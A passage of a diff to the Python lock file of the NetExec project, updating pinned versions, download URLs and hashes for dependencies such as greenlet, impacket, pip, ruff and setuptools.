hash = "sha256:72507285b5caa1d17904a3f7c322ca780823a54170a0e04ec3f37bcc60d4db71", size = 1697412, upload-time = "2026-08-10T13:40:34.924Z" }, + { url = "https://files.pythonhosted.org/packages/da/0f/f7dd935f9c4cb1be49098770587f54d8a78518e55c89bce86c4fb4109057/greenlet-3.5.5-cp314-cp314t-win_amd64.whl", hash = "sha256:7805655781fb8f28a55d05fe57ed61f5f10f1892fb587673e3bb5264f28041f0", size = 331514, upload-time = "2026-08-10T13:29:20.611Z" }, + { url = "https://files.pythonhosted.org/packages/b7/e5/681b01f8fbc1b55232822f99e8f8afeb78a55a7c76a7bf9dbdc7ccb03a6d/greenlet-3.5.5-cp315-cp315-macosx_11_0_universal2.whl", hash = "sha256:c0db80fcd5b8aece93f66c64f78a786bbb6b96c5fe63ef5a5a4581ecf8bab206", size = 295975, upload-time = "2026-08-10T13:28:45.985Z" }, + { url = "https://files.pythonhosted.org/packages/11/f2/69b488cd9e7267bf4b0fe8cdebf25d8d6df680d21bdf41150d23e23d6652/greenlet-3.5.5-cp315-cp315-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b241c32f912ada659808d68e308c568baf577eebf757d15471472de0c18cfad", size = 666823, upload-time = "2026-08-10T14:14:40.222Z" }, + { url = "https://files.pythonhosted.org/packages/84/d4/d5bc2fdebbdda0c94555925ba79948b8395d75a7f6a36cc85dce5bab9f11/greenlet-3.5.5-cp315-cp315-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ef6a08349401d8eaf3cb12688ac8557de95788556b8631ef17555a4a173022c0", size = 677613, upload-time = "2026-08-10T14:27:31.543Z" }, + { url = "https://files.pythonhosted.org/packages/bd/93/542d8a3a90f3b35c6ad8bf7e56a03010287f2cafa289a5b7985b5207db39/greenlet-3.5.5-cp315-cp315-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f2e3d061b8e13aec2f0441689b3c71b244a20e5d274a52cb0f7e31bd1d139552", size = 675930, upload-time = "2026-08-10T13:40:54.205Z" }, + { url = "https://files.pythonhosted.org/packages/52/b5/89c9f2e8460d71101037d47a1feed11928615a5edd42370be290e0657eeb/greenlet-3.5.5-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:9ab5f5b93655e77fe0d6c2dfd22b5eac751bb1f876d8ec21761b7c1fb9266007", size = 1633878, upload-time = "2026-08-10T14:15:10.693Z" }, + { url = "https://files.pythonhosted.org/packages/b8/60/297de93f3b02ac78a5e04d32bb8bbe3080f4a73d8ed95016561463b70618/greenlet-3.5.5-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:f0e5a21bd4452a88cf032fc43c4a5b307ab1380eacb63b5988f9c0317885e773", size = 1696597, upload-time = "2026-08-10T13:40:36.252Z" }, + { url = "https://files.pythonhosted.org/packages/18/25/54c6eaff4f337fb670215e89eb2d00d9499487b658e709d4b477be4a342e/greenlet-3.5.5-cp315-cp315-win_amd64.whl", hash = "sha256:469dbb0a78625642f4a626cfd0c6e8bccc0385b5e49189b6308bbe849ec88a8e", size = 327700, upload-time = "2026-08-10T13:28:06.752Z" }, + { url = "https://files.pythonhosted.org/packages/67/67/857e88a36301caa0e029870132c2478bd55d896630321432afab03a3115f/greenlet-3.5.5-cp315-cp315-win_arm64.whl", hash = "sha256:2d57406c3efd32d7a81e17a674314e8bd00792cdab49ea3228a49aa1bfb2e769", size = 311750, upload-time = "2026-08-10T13:34:08.815Z" }, + { url = "https://files.pythonhosted.org/packages/10/e2/3144c0a116067ac1e30457b0139a94d60d1d36a86e015de68e9ac87cb3bc/greenlet-3.5.5-cp315-cp315t-macosx_11_0_universal2.whl", hash = "sha256:68184dfcf50ccaa8e864770fe0633a7e27250ea9329f8192ef47ee9ecfd78e1c", size = 306387, upload-time = "2026-08-10T13:27:00.897Z" }, + { url = "https://files.pythonhosted.org/packages/5c/a1/cb4223a7e9b9f43b8807e8eb212358bfe2dfaa174a9ea2889eb1714dcba2/greenlet-3.5.5-cp315-cp315t-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9ec0dc0e59dc9c61af5c47348365ccbbd7addfafe0a93b00336ff3da2907bdc6", size = 676472, upload-time = "2026-08-10T14:14:41.417Z" }, + { url = "https://files.pythonhosted.org/packages/9e/cd/a154b4498e5d8f12ada291cfb3b8d596eadde2177f5bf09a9be699d2a446/greenlet-3.5.5-cp315-cp315t-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e604f58e35833fc46ef20302bcb314dddbfd3fcf33a4f936216d51dd678d63ae", size = 684238, upload-time = "2026-08-10T14:27:32.946Z" }, + { url = "https://files.pythonhosted.org/packages/bf/bb/b0031d260c2968a3c87deebc51d80c64e499377f993aafe06ee3b7488cc2/greenlet-3.5.5-cp315-cp315t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:40239b5384f96da3963585cc6d7eaa9b56f8ae67e8d92cc82dd9e202fc847de3", size = 681246, upload-time = "2026-08-10T13:40:55.402Z" }, + { url = "https://files.pythonhosted.org/packages/9a/07/da554b71ab88e649da146e1065d86a48a5c5d92e50ab74ef41b504aa7f56/greenlet-3.5.5-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:a1eaccf5c3a1d3e46dead602c72e6836731e8e245c9de6a27764567b6b62d4c0", size = 1642735, upload-time = "2026-08-10T14:15:11.92Z" }, + { url = "https://files.pythonhosted.org/packages/78/76/26a3782a051677668af9d92beaa47cd87ba9dd5072f762961144a03dd4c6/greenlet-3.5.5-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:19e4e026fe20691f333b8eb1a3bc9625eceba8c3f9d62ec5a6f8581afbc6b5a5", size = 1700925, upload-time = "2026-08-10T13:40:37.656Z" }, + { url = "https://files.pythonhosted.org/packages/28/d9/fe7baf4190c2ae71f267efb9de21b3172bb35bc0ed1ef53dd6027d658e33/greenlet-3.5.5-cp315-cp315t-win_amd64.whl", hash = "sha256:712aee154f648bde84634654bb38bb78c69ac640c37a45c9effed800735049d8", size = 331829, upload-time = "2026-08-10T13:26:48.851Z" }, + { url = "https://files.pythonhosted.org/packages/df/af/419a4e383bd600858a9b67e9b280a60fdc383ee3f2fe5b6c0c1ef04e74d1/greenlet-3.5.5-cp315-cp315t-win_arm64.whl", hash = "sha256:7f049911ee81a16a03c33d5450d8d5867d27f596ca5fb201b86f4524e874468b", size = 315093, upload-time = "2026-08-10T13:29:34.949Z" }, ] [[package]] @@ -856,8 +856,8 @@ wheels = [ [[package]] name = "impacket" -version = "0.14.0.dev0+20260731.125001.141be7ac" -source = { git = "https://github.com/fortra/impacket#141be7ac577d5165adf2a70b677091ed3557eb36" } +version = "0.14.0.dev0+20260810.134619.243d64a6" +source = { git = "https://github.com/fortra/impacket#243d64a67599e24a1c5dd7eb3ff8667d2d5bc2fc" } dependencies = [ { name = "charset-normalizer" }, { name = "flask" }, @@ -1280,6 +1280,7 @@ wheels = [ [[package]] name = "netexec" +version = "1.5.1+645.8429767d" source = { editable = "." } dependencies = [ { name = "aardwolf" }, @@ -1380,11 +1381,11 @@ wheels = [ [[package]] name = "packaging" -version = "26.2" +version = "26.3" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/d7/f1/e7a6dd94a8d4a5626c03e4e99c87f241ba9e350cd9e6d75123f992427270/packaging-26.2.tar.gz", hash = "sha256:ff452ff5a3e828ce110190feff1178bb1f2ea2281fa2075aadb987c2fb221661", size = 228134, upload-time = "2026-04-24T20:15:23.917Z" } +sdist = { url = "https://files.pythonhosted.org/packages/7d/fa/3944b40b07da9ce895c0e6303a5ab7d53da063554f534556b134a54d6093/packaging-26.3.tar.gz", hash = "sha256:94edc256424af38762eb31306eed28beb9f0efc50a8837492c9d6fd6004aed79", size = 313412, upload-time = "2026-08-04T18:15:28.737Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/df/b2/87e62e8c3e2f4b32e5fe99e0b86d576da1312593b39f47d8ceef365e95ed/packaging-26.2-py3-none-any.whl", hash = "sha256:5fc45236b9446107ff2415ce77c807cee2862cb6fac22b8a73826d0693b0980e", size = 100195, upload-time = "2026-04-24T20:15:22.081Z" }, + { url = "https://files.pythonhosted.org/packages/63/34/ba1c580383c9eada3711951fef0795c80b829a078d72188184bcab9dd527/packaging-26.3-py3-none-any.whl", hash = "sha256:d7193f7c8e4e93f444fde0262bf90af30e16fa0ad0ad44cb553c87339b23cd1c", size = 129956, upload-time = "2026-08-04T18:15:27.159Z" }, ] [[package]] @@ -1507,11 +1508,11 @@ wheels = [ [[package]] name = "pip" -version = "26.1.2" +version = "26.2.1" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/01/91/47e7d486260f618783899587af63ccf7980fb60245c3e63dd4571c6b57ad/pip-26.1.2.tar.gz", hash = "sha256:f49cd134c61cf2fd75e0ce2676db03e4054504a5a4986d00f8299ae632dc4605", size = 1840799, upload-time = "2026-05-31T17:33:58.56Z" } +sdist = { url = "https://files.pythonhosted.org/packages/ae/15/4500e320e6b101ec3b719ae85b697d9940b6cda672bc555bd6016fc60c6f/pip-26.2.1.tar.gz", hash = "sha256:f6ad667e89a1fe78046c8f13232b247200f5258d7828f3f7883d660878e0813f", size = 1848877, upload-time = "2026-08-04T22:51:14.148Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/5d/95/6b5cb3461ea5673ba0995989746db58eb18b91b54dbf331e72f569540946/pip-26.1.2-py3-none-any.whl", hash = "sha256:382ff9f685ee3bc25864f820aa50505825f10f5458ffff07e30a6d96e5715cab", size = 1813144, upload-time = "2026-05-31T17:33:56.772Z" }, + { url = "https://files.pythonhosted.org/packages/f3/6e/1736e5b4ae2b778ef2f81c47d797de9f891d4d8acb047a24ca37a60294dd/pip-26.2.1-py3-none-any.whl", hash = "sha256:71138adf1f4ca900cdb7d289c21b7494329f2332b6d85f0e1c42108c0384ed3e", size = 1816632, upload-time = "2026-08-04T22:51:12.472Z" }, ] [[package]] @@ -1525,14 +1526,14 @@ wheels = [ [[package]] name = "prompt-toolkit" -version = "3.0.52" +version = "3.0.53" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "wcwidth" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/a1/96/06e01a7b38dce6fe1db213e061a4602dd6032a8a97ef6c1a862537732421/prompt_toolkit-3.0.52.tar.gz", hash = "sha256:28cde192929c8e7321de85de1ddbe736f1375148b02f2e17edd840042b1be855", size = 434198, upload-time = "2025-08-27T15:24:02.057Z" } +sdist = { url = "https://files.pythonhosted.org/packages/7d/ea/39b988c938f75cb75d7045b5c69f8bfed47ee2152c8837fb403de29d6fb8/prompt_toolkit-3.0.53.tar.gz", hash = "sha256:9ec8a0ad96d5c56148b3f914aa79c1564c3fde5d2e6b876e7bc327e353cf8fa6", size = 435492, upload-time = "2026-07-26T20:56:14.758Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/84/03/0d3ce49e2505ae70cf43bc5bb3033955d2fc9f932163e84dc0779cc47f48/prompt_toolkit-3.0.52-py3-none-any.whl", hash = "sha256:9aac639a3bbd33284347de5ad8d68ecc044b91a762dc39b7c21095fcd6a19955", size = 391431, upload-time = "2025-08-27T15:23:59.498Z" }, + { url = "https://files.pythonhosted.org/packages/54/6f/84908cad2d6aa5144abcf7b42709fe4fdb459bc640ec7ac5786e7693dabc/prompt_toolkit-3.0.53-py3-none-any.whl", hash = "sha256:01c0891d7f9237d5e339f7d3e42cdae80b7534abb1c7c0e3352efba6231492f2", size = 392288, upload-time = "2026-07-26T20:56:12.512Z" }, ] [[package]] @@ -1827,8 +1828,8 @@ wheels = [ [[package]] name = "pynfsclient" -version = "0.1.5" -source = { git = "https://github.com/Pennyw0rth/NfsClient#a8fea2c163bf665dc6a8e35bb50e7baf81e2c6ed" } +version = "0.1.6" +source = { git = "https://github.com/Pennyw0rth/NfsClient#4cefeb605c80a3369de3126016b77839149b8433" } [[package]] name = "pyopenssl" @@ -1954,11 +1955,11 @@ sdist = { url = "https://files.pythonhosted.org/packages/f0/b2/38e34576a715115e5 [[package]] name = "pytz" -version = "2026.2" +version = "2026.3.post1" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/ff/46/dd499ec9038423421951e4fad73051febaa13d2df82b4064f87af8b8c0c3/pytz-2026.2.tar.gz", hash = "sha256:0e60b47b29f21574376f218fe21abc009894a2321ea16c6754f3cad6eb7cdd6a", size = 320861, upload-time = "2026-05-04T01:35:29.667Z" } +sdist = { url = "https://files.pythonhosted.org/packages/fb/48/fb042503b6ca6cd271261dc559fd6432f7d8c713153e9ec5c591af4dfc1c/pytz-2026.3.post1.tar.gz", hash = "sha256:2211d3fcf9a797d3405cac96ac7f61d80e6a644f72a3309607282fe8a2010c5d", size = 319745, upload-time = "2026-07-25T15:12:07.385Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/ec/dd/96da98f892250475bdf2328112d7468abdd4acc7b902b6af23f4ed958ea0/pytz-2026.2-py2.py3-none-any.whl", hash = "sha256:04156e608bee23d3792fd45c94ae47fae1036688e75032eea2e3bf0323d1f126", size = 510141, upload-time = "2026-05-04T01:35:27.408Z" }, + { url = "https://files.pythonhosted.org/packages/0f/7b/39c34ca613b0b198cb866466651b26b045e2009864c5183c979a3b83f383/pytz-2026.3.post1-py2.py3-none-any.whl", hash = "sha256:dd95840dd199baea12d9cc096a1d452caa6596a1c1e4b5f3dbd1541855d5e815", size = 508283, upload-time = "2026-07-25T15:12:05.782Z" }, ] [[package]] @@ -1991,36 +1992,36 @@ wheels = [ [[package]] name = "ruff" -version = "0.11.0" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/77/2b/7ca27e854d92df5e681e6527dc0f9254c9dc06c8408317893cf96c851cdd/ruff-0.11.0.tar.gz", hash = "sha256:e55c620690a4a7ee6f1cccb256ec2157dc597d109400ae75bbf944fc9d6462e2", size = 3799407, upload-time = "2025-03-14T13:52:36.539Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/48/40/3d0340a9e5edc77d37852c0cd98c5985a5a8081fc3befaeb2ae90aaafd2b/ruff-0.11.0-py3-none-linux_armv6l.whl", hash = "sha256:dc67e32bc3b29557513eb7eeabb23efdb25753684b913bebb8a0c62495095acb", size = 10098158, upload-time = "2025-03-14T13:51:55.69Z" }, - { url = "https://files.pythonhosted.org/packages/ec/a9/d8f5abb3b87b973b007649ac7bf63665a05b2ae2b2af39217b09f52abbbf/ruff-0.11.0-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:38c23fd9bdec4eb437b4c1e3595905a0a8edfccd63a790f818b28c78fe345639", size = 10879071, upload-time = "2025-03-14T13:51:58.989Z" }, - { url = "https://files.pythonhosted.org/packages/ab/62/aaa198614c6211677913ec480415c5e6509586d7b796356cec73a2f8a3e6/ruff-0.11.0-py3-none-macosx_11_0_arm64.whl", hash = "sha256:7c8661b0be91a38bd56db593e9331beaf9064a79028adee2d5f392674bbc5e88", size = 10247944, upload-time = "2025-03-14T13:52:02.318Z" }, - { url = "https://files.pythonhosted.org/packages/9f/52/59e0a9f2cf1ce5e6cbe336b6dd0144725c8ea3b97cac60688f4e7880bf13/ruff-0.11.0-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b6c0e8d3d2db7e9f6efd884f44b8dc542d5b6b590fc4bb334fdbc624d93a29a2", size = 10421725, upload-time = "2025-03-14T13:52:04.303Z" }, - { url = "https://files.pythonhosted.org/packages/a6/c3/dcd71acc6dff72ce66d13f4be5bca1dbed4db678dff2f0f6f307b04e5c02/ruff-0.11.0-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3c3156d3f4b42e57247275a0a7e15a851c165a4fc89c5e8fa30ea6da4f7407b8", size = 9954435, upload-time = "2025-03-14T13:52:06.602Z" }, - { url = "https://files.pythonhosted.org/packages/a6/9a/342d336c7c52dbd136dee97d4c7797e66c3f92df804f8f3b30da59b92e9c/ruff-0.11.0-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:490b1e147c1260545f6d041c4092483e3f6d8eba81dc2875eaebcf9140b53905", size = 11492664, upload-time = "2025-03-14T13:52:08.613Z" }, - { url = "https://files.pythonhosted.org/packages/84/35/6e7defd2d7ca95cc385ac1bd9f7f2e4a61b9cc35d60a263aebc8e590c462/ruff-0.11.0-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:1bc09a7419e09662983b1312f6fa5dab829d6ab5d11f18c3760be7ca521c9329", size = 12207856, upload-time = "2025-03-14T13:52:11.019Z" }, - { url = "https://files.pythonhosted.org/packages/22/78/da669c8731bacf40001c880ada6d31bcfb81f89cc996230c3b80d319993e/ruff-0.11.0-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:bcfa478daf61ac8002214eb2ca5f3e9365048506a9d52b11bea3ecea822bb844", size = 11645156, upload-time = "2025-03-14T13:52:13.383Z" }, - { url = "https://files.pythonhosted.org/packages/ee/47/e27d17d83530a208f4a9ab2e94f758574a04c51e492aa58f91a3ed7cbbcb/ruff-0.11.0-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6fbb2aed66fe742a6a3a0075ed467a459b7cedc5ae01008340075909d819df1e", size = 13884167, upload-time = "2025-03-14T13:52:15.528Z" }, - { url = "https://files.pythonhosted.org/packages/9f/5e/42ffbb0a5d4b07bbc642b7d58357b4e19a0f4774275ca6ca7d1f7b5452cd/ruff-0.11.0-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:92c0c1ff014351c0b0cdfdb1e35fa83b780f1e065667167bb9502d47ca41e6db", size = 11348311, upload-time = "2025-03-14T13:52:18.088Z" }, - { url = "https://files.pythonhosted.org/packages/c8/51/dc3ce0c5ce1a586727a3444a32f98b83ba99599bb1ebca29d9302886e87f/ruff-0.11.0-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:e4fd5ff5de5f83e0458a138e8a869c7c5e907541aec32b707f57cf9a5e124445", size = 10305039, upload-time = "2025-03-14T13:52:20.476Z" }, - { url = "https://files.pythonhosted.org/packages/60/e0/475f0c2f26280f46f2d6d1df1ba96b3399e0234cf368cc4c88e6ad10dcd9/ruff-0.11.0-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:96bc89a5c5fd21a04939773f9e0e276308be0935de06845110f43fd5c2e4ead7", size = 9937939, upload-time = "2025-03-14T13:52:22.798Z" }, - { url = "https://files.pythonhosted.org/packages/e2/d3/3e61b7fd3e9cdd1e5b8c7ac188bec12975c824e51c5cd3d64caf81b0331e/ruff-0.11.0-py3-none-musllinux_1_2_i686.whl", hash = "sha256:a9352b9d767889ec5df1483f94870564e8102d4d7e99da52ebf564b882cdc2c7", size = 10923259, upload-time = "2025-03-14T13:52:24.89Z" }, - { url = "https://files.pythonhosted.org/packages/30/32/cd74149ebb40b62ddd14bd2d1842149aeb7f74191fb0f49bd45c76909ff2/ruff-0.11.0-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:049a191969a10897fe052ef9cc7491b3ef6de79acd7790af7d7897b7a9bfbcb6", size = 11406212, upload-time = "2025-03-14T13:52:27.493Z" }, - { url = "https://files.pythonhosted.org/packages/00/ef/033022a6b104be32e899b00de704d7c6d1723a54d4c9e09d147368f14b62/ruff-0.11.0-py3-none-win32.whl", hash = "sha256:3191e9116b6b5bbe187447656f0c8526f0d36b6fd89ad78ccaad6bdc2fad7df2", size = 10310905, upload-time = "2025-03-14T13:52:30.46Z" }, - { url = "https://files.pythonhosted.org/packages/ed/8a/163f2e78c37757d035bd56cd60c8d96312904ca4a6deeab8442d7b3cbf89/ruff-0.11.0-py3-none-win_amd64.whl", hash = "sha256:c58bfa00e740ca0a6c43d41fb004cd22d165302f360aaa56f7126d544db31a21", size = 11411730, upload-time = "2025-03-14T13:52:32.508Z" }, - { url = "https://files.pythonhosted.org/packages/4e/f7/096f6efabe69b49d7ca61052fc70289c05d8d35735c137ef5ba5ef423662/ruff-0.11.0-py3-none-win_arm64.whl", hash = "sha256:868364fc23f5aa122b00c6f794211e85f7e78f5dffdf7c590ab90b8c4e69b657", size = 10538956, upload-time = "2025-03-14T13:52:34.491Z" }, +version = "0.16.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/73/e1/4508a569211b35599016e84ba65c1a992b7a4004b4b6c4bea02a851cba1b/ruff-0.16.2.tar.gz", hash = "sha256:c3d7828d12e8927a6fc65fe38e2c2541b9e762d360a1786d752cb1b8883b3c9c", size = 4885811, upload-time = "2026-08-07T13:31:01.432Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/14/57/db19951540f98859c956b50bdb4d31089b4d91e9f15e2968e7d5193806d5/ruff-0.16.2-py3-none-linux_armv6l.whl", hash = "sha256:3c8de4cf2181f01d57946d87d777aa52916976fc09942aed89938fab5e013318", size = 10847925, upload-time = "2026-08-07T13:30:14.468Z" }, + { url = "https://files.pythonhosted.org/packages/13/5a/995fe85a8470d3e391ac0f7fa8054bb454eaf33ee138196d6172ed1079c0/ruff-0.16.2-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:9a48cc05c6fbc811ca81b5d7ba95375affea6582d1b8024e455e41afbbf55344", size = 11072662, upload-time = "2026-08-07T13:30:18.143Z" }, + { url = "https://files.pythonhosted.org/packages/32/53/370d767c61c71a971a4ace36703a7ecd8c393956349a7325d7fab2b56827/ruff-0.16.2-py3-none-macosx_11_0_arm64.whl", hash = "sha256:a2c0d14fcbb26c91f0f867a6dc9bd71bbc30b1b6151829c884f23faeab2e5700", size = 10566771, upload-time = "2026-08-07T13:30:20.899Z" }, + { url = "https://files.pythonhosted.org/packages/85/d6/9d96948caf5a632be62d62202d5ec914d6856f204fd79eb036e5915e79ea/ruff-0.16.2-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:335c621622c4650330be50842561c6586ac6971bb8ab5407fe34dcc9efb16bbe", size = 10975825, upload-time = "2026-08-07T13:30:23.517Z" }, + { url = "https://files.pythonhosted.org/packages/3b/92/ea87129b3414acb0b5770563779c51804d37ac67675c7ba35447ddb14773/ruff-0.16.2-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:20e66910f2c37cc753f9ef6580c914a621b80c4fa3549d3e3521e29d0f5bfc3f", size = 10649437, upload-time = "2026-08-07T13:30:26.097Z" }, + { url = "https://files.pythonhosted.org/packages/ac/43/f8f291dcd4af5bb7872b74fdfa41a7cd7c856ca1d4069670971cf1b9f5cb/ruff-0.16.2-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c7e36fbfba65510548156902bcf1350a979a958ce0347ce0f90d73894036b39f", size = 11446761, upload-time = "2026-08-07T13:30:28.752Z" }, + { url = "https://files.pythonhosted.org/packages/71/4a/ef991fb2fcf516ab71f0808adcdd8da5e18c8cde447f4ceaf5f47a5132a5/ruff-0.16.2-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f0eab35f80df8f134aae5d1630e751901321d317cc8e50dc39e36fa3ed34cd12", size = 12336364, upload-time = "2026-08-07T13:30:31.468Z" }, + { url = "https://files.pythonhosted.org/packages/f3/24/f615e74f307e6ca0e56a482872477b856c70d530aa356abfb6dfe5ca8a80/ruff-0.16.2-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:40ea8c0594feb894e89c8c61ab9c103d38b0ea72dfde6c594107147ca31b1140", size = 11630720, upload-time = "2026-08-07T13:30:34.426Z" }, + { url = "https://files.pythonhosted.org/packages/c5/d3/8ef50149e8412a77f7ab409efdef0e2b23803707a3863da4fc64cb23d459/ruff-0.16.2-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ab3d62dde0b19facdd632008cc4827fc28ada7736c6bd35ab6f1050f0bfed53f", size = 11466130, upload-time = "2026-08-07T13:30:36.958Z" }, + { url = "https://files.pythonhosted.org/packages/dd/a7/a19334985c4dea8c381981fa252cd854c7ee52dc4b1686dc16f4a911c702/ruff-0.16.2-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:e43e1f5b8388da9eca1b9e88328d47a5cec794633ccf6f7484ac2dd15eee92c0", size = 11523634, upload-time = "2026-08-07T13:30:39.822Z" }, + { url = "https://files.pythonhosted.org/packages/6e/6c/96d192b0e742412ceda08c0a50f9669b253dde9fd6a60ea1a10c9fa79a63/ruff-0.16.2-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:c24788a980581e1d7ea3a0cbe4344c4fbeb0a6a9b1f4713aa46bb104f8294690", size = 10949807, upload-time = "2026-08-07T13:30:42.745Z" }, + { url = "https://files.pythonhosted.org/packages/fa/51/e26599ceca11e79ee255c7df515995561edf87e9ca1893284e44d98f5a86/ruff-0.16.2-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:81806b08329130005dd4a8a8394a0c9da8c6f4cafb16ba438d2a2ee6a18bedf1", size = 10646891, upload-time = "2026-08-07T13:30:45.522Z" }, + { url = "https://files.pythonhosted.org/packages/68/01/800c4b1f97bc8d7c6029e06b1f20473a3cf1e13c4933d8f3342add83fc55/ruff-0.16.2-py3-none-musllinux_1_2_i686.whl", hash = "sha256:4ce4e02bad779bef557f541a1b31f20d6abeae1cc05ed1b1ac019d4ffd1044c8", size = 11162063, upload-time = "2026-08-07T13:30:48.131Z" }, + { url = "https://files.pythonhosted.org/packages/e4/d0/1477ea50fc5a0d4b0b71d1d63d50770bdd794d90b43e37a7618e63ec9894/ruff-0.16.2-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:e0422abdf70070255fc4073ce9dfc814cc03db577013761ddd09bc1e4a9a4fbd", size = 11556038, upload-time = "2026-08-07T13:30:50.686Z" }, + { url = "https://files.pythonhosted.org/packages/b8/76/a7776f32048d991e16d4fa8ff91790b877342d3596cc3ed04acdbf1aaedc/ruff-0.16.2-py3-none-win32.whl", hash = "sha256:bf3a63d78fb39f4bf5ac8ae52051c5520505301abe19ba4e204c453b3f09bb0b", size = 10872850, upload-time = "2026-08-07T13:30:53.471Z" }, + { url = "https://files.pythonhosted.org/packages/00/0d/929c800d920e61397d82a01b60bffc68da3052c17d31de59efaad2e4ed75/ruff-0.16.2-py3-none-win_amd64.whl", hash = "sha256:bcabe2f6d0fc7819f1431793005af4e4de7371927d037345bf941252b195b9fa", size = 12023338, upload-time = "2026-08-07T13:30:56.193Z" }, + { url = "https://files.pythonhosted.org/packages/5b/6c/93e26c22c5f78ff87363e07da49c84955affbeb1098bd1936bf3b3f293bf/ruff-0.16.2-py3-none-win_arm64.whl", hash = "sha256:d614e95cedf38a2053fd351c55b103ba30d017d61688fdbfd40ee0412852a99f", size = 11374065, upload-time = "2026-08-07T13:30:58.775Z" }, ] [[package]] name = "setuptools" -version = "83.0.0" +version = "84.0.0" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/34/26/f5d29e25ffdb535afef2d35cdb55b325298f96debd670da4c325e08d70f4/setuptools-83.0.0.tar.gz", hash = "sha256:025bccbbf0fa05b6192bc64ae1e7b16e001fd6d6d4d5de03c97b1c1ade523bef", size = 1154254, upload-time = "2026-07-04T15:31:22.699Z" } +sdist = { url = "https://files.pythonhosted.org/packages/6d/44/f5da03a8ef95d369145c5bb53050e7877c9f3d312e128605fd9504829143/setuptools-84.0.0.tar.gz", hash = "sha256:f4695c21257f0d9b537ec2692c941d02ee143b7cc1276941349a546573b2ef73", size = 1168449, upload-time = "2026-08-08T18:27:58.365Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/5d/40/e1e72872c6354b306daef1703549e8e83b4d43cfea356311bf722a043752/setuptools-83.0.0-py3-none-any.whl", hash = "sha256:29b23c360f22f414dc7336bb39178cc7bcbf6021ed2733cde173f09dba19abb3", size = 1008090, upload-time = "2026-07-04T15:31:20.885Z" }, + { url = "https://files.pythonhosted.org/packages/95/9c/c510029fc6ef33a6275cd2c5d3cecd6613dfd6aa401d57c54f1c18852ccf/setuptools-84.0.0-py3-none-any.whl", hash = "sha256:51a52592b3b99e102b609654876bd65f19f999935166d1352678931132b0c670", size = 818216, upload-time = "2026-08-08T18:27:56.719Z" }, ] [[package]] @@ -2048,11 +2049,11 @@ wheels = [ [[package]] name = "soupsieve" -version = "2.8.4" +version = "2.9.2" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/47/2c/0a5f6f8ee0d5589e48c7640213ed5175d52cf540a06725b628cc1a45d6ce/soupsieve-2.8.4.tar.gz", hash = "sha256:e121fd02e975c695e4e9e8774a5ee35d74714b59307868dcc5319ad2d9e3328e", size = 121110, upload-time = "2026-05-24T13:55:57.154Z" } +sdist = { url = "https://files.pythonhosted.org/packages/69/99/a6ca3beb3ccacb41fb3321d8a60e5566f9e6467601ef8eba6a17e1b89778/soupsieve-2.9.2.tar.gz", hash = "sha256:4a55d8cf158a9c2e587fa4922f1bbb91d68ac829e2d6f25403a85747c71daf74", size = 122445, upload-time = "2026-08-07T00:57:24.801Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/5e/f5/0c41cb68dcae6b7de4fac4188a3a9589e21fb31df21ea3a2e888db95e6c9/soupsieve-2.8.4-py3-none-any.whl", hash = "sha256:e7e6b0769c8f51ed59acab6e994b00621096cfb1c640a7509295987388fbaf65", size = 37304, upload-time = "2026-05-24T13:55:55.406Z" }, + { url = 